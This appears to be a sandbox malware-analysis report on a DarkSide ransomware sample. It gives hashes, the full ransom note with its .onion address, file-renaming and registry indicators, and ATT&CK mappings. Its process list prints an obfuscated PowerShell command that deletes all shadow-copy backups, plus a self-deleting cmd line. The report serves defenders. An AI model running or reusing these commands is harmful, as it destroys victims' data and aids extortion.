darkside | 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e

General

Target

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Size

5.9MB
MD5

794c5aa1b0e1f9cf2fc7fe5f22117c3f
SHA1

1821fe210298b1d22b25f1a544abcfe092999ff7
SHA256

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e
SHA512

28c186359035e3f4bc5b4f0420c1e72de5e16fc3fa3b8d41316dd59739c552c810e180feff4637f25696f59b291b7cc00d66d969a4e7d2f460ec4471b1ad83cf

Score

10^/10

darkside ransomware spyware stealer vmprotect

Malware Config

Extracted

Path

C:\\README.f2cbf9aa.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\ImportDebug.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\NewReset.raw => C:\Users\Admin\Pictures\NewReset.raw.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\NewReset.raw.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\ExitFind.crw => C:\Users\Admin\Pictures\ExitFind.crw.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\ExitFind.crw.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\ImportDebug.tif => C:\Users\Admin\Pictures\ImportDebug.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
behavioral1/memory/2000-75-0x0000000001320000-0x0000000001CC8000-memory.dmp	vmprotect

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2724 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2724	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f2cbf9aa.BMP"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f2cbf9aa.BMP"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallpaperStyle = "10"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

Modifies registry class 5 IoCs

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa\ = "f2cbf9aa"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f2cbf9aa.ico"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exepowershell.exe

pid	process
2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
1636	powershell.exe
1636	powershell.exe
2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeSecurityPrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeTakeOwnershipPrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeLoadDriverPrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeSystemProfilePrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeSystemtimePrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeProfSingleProcessPrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeIncBasePriorityPrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeCreatePagefilePrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeBackupPrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeRestorePrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeShutdownPrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeDebugPrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeSystemEnvironmentPrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeRemoteShutdownPrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeUndockPrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeManageVolumePrivilege	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: 33	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: 34	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: 35	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeDebugPrivilege	1636	powershell.exe
Token: SeBackupPrivilege	1368	vssvc.exe
Token: SeRestorePrivilege	1368	vssvc.exe
Token: SeAuditPrivilege	1368	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	pid	process	target process
PID 2000 wrote to memory of 1636	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	powershell.exe
PID 2000 wrote to memory of 1636	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	powershell.exe
PID 2000 wrote to memory of 1636	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	powershell.exe
PID 2000 wrote to memory of 1636	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	powershell.exe
PID 2000 wrote to memory of 2724	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	cmd.exe
PID 2000 wrote to memory of 2724	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	cmd.exe
PID 2000 wrote to memory of 2724	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	cmd.exe
PID 2000 wrote to memory of 2724	2000	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
"C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1636

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\4098B5~1.EXE >> NUL
2⤵
- Deletes itself
PID:2724

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1368

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
71c49ad704074f545b3e2456c2a858cd

SHA1
6016064666a5163a4d4a13b6f04425b02b9ef8a6

SHA256
0a6032eac2f01d20aef518ca6464a5eb600754bd63666575bb54e7edeb563626

SHA512
b44764769b62d11232722827dfd02d4487d9dbf85b30e5a0a18801aade7d385a96bdee76d5c3795827c9b947666e86164b6184110ed6c27704b9e96aedd7bef6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
56a3d988c0daefe8923e4e9024c5e15c

SHA1
c17f260c617625613a94a821eed26f6164c445c1

SHA256
da5c6352442b402a010e253a260b5406cd2582e0903808a652663addf9553fa6

SHA512
016c135c43449b0b24255a829f9e9fbba9e51fb5c2716951ab477e62ba56b5a1fcb34ce9ed7e75cd444ade8eb9cd3a0bbad96ff068bfb887c31c046a4ee6ac89

Download Submit
memory/1636-78-0x0000000000000000-mapping.dmp

Download
memory/1636-87-0x000000001C410000-0x000000001C411000-memory.dmp

Filesize
4KB

Download
memory/1636-86-0x000000001C5B0000-0x000000001C5B1000-memory.dmp

Filesize
4KB

Download
memory/1636-85-0x0000000002450000-0x0000000002451000-memory.dmp

Filesize
4KB

Download
memory/1636-84-0x00000000024F0000-0x00000000024F1000-memory.dmp

Filesize
4KB

Download
memory/1636-83-0x000000001ABB4000-0x000000001ABB6000-memory.dmp

Filesize
8KB

Download
memory/1636-82-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

Filesize
8KB

Download
memory/1636-81-0x000000001AC30000-0x000000001AC31000-memory.dmp

Filesize
4KB

Download
memory/1636-80-0x0000000002410000-0x0000000002411000-memory.dmp

Filesize
4KB

Download
memory/1636-79-0x000007FEFC251000-0x000007FEFC253000-memory.dmp

Filesize
8KB

Download
memory/2000-66-0x0000000000190000-0x0000000000191000-memory.dmp

Filesize
4KB

Download
memory/2000-68-0x00000000001B0000-0x00000000001B1000-memory.dmp

Filesize
4KB

Download
memory/2000-73-0x0000000000410000-0x0000000000411000-memory.dmp

Filesize
4KB

Download
memory/2000-74-0x00000000004A0000-0x00000000004A1000-memory.dmp

Filesize
4KB

Download
memory/2000-75-0x0000000001320000-0x0000000001CC8000-memory.dmp

Filesize
9.7MB

Download
memory/2000-76-0x0000000075D11000-0x0000000075D13000-memory.dmp

Filesize
8KB

Download
memory/2000-71-0x00000000003F0000-0x00000000003F1000-memory.dmp

Filesize
4KB

Download
memory/2000-70-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download
memory/2000-69-0x00000000003C0000-0x00000000003C1000-memory.dmp

Filesize
4KB

Download
memory/2000-72-0x0000000000400000-0x0000000000401000-memory.dmp

Filesize
4KB

Download
memory/2000-67-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/2000-59-0x00000000000E0000-0x00000000000E1000-memory.dmp

Filesize
4KB

Download
memory/2000-65-0x0000000000180000-0x0000000000181000-memory.dmp

Filesize
4KB

Download
memory/2000-64-0x0000000000170000-0x0000000000171000-memory.dmp

Filesize
4KB

Download
memory/2000-63-0x0000000000160000-0x0000000000161000-memory.dmp

Filesize
4KB

Download
memory/2000-62-0x0000000000150000-0x0000000000151000-memory.dmp

Filesize
4KB

Download
memory/2000-61-0x0000000000140000-0x0000000000141000-memory.dmp

Filesize
4KB

Download
memory/2000-60-0x00000000000F0000-0x00000000000F1000-memory.dmp

Filesize
4KB

Download
memory/2724-90-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads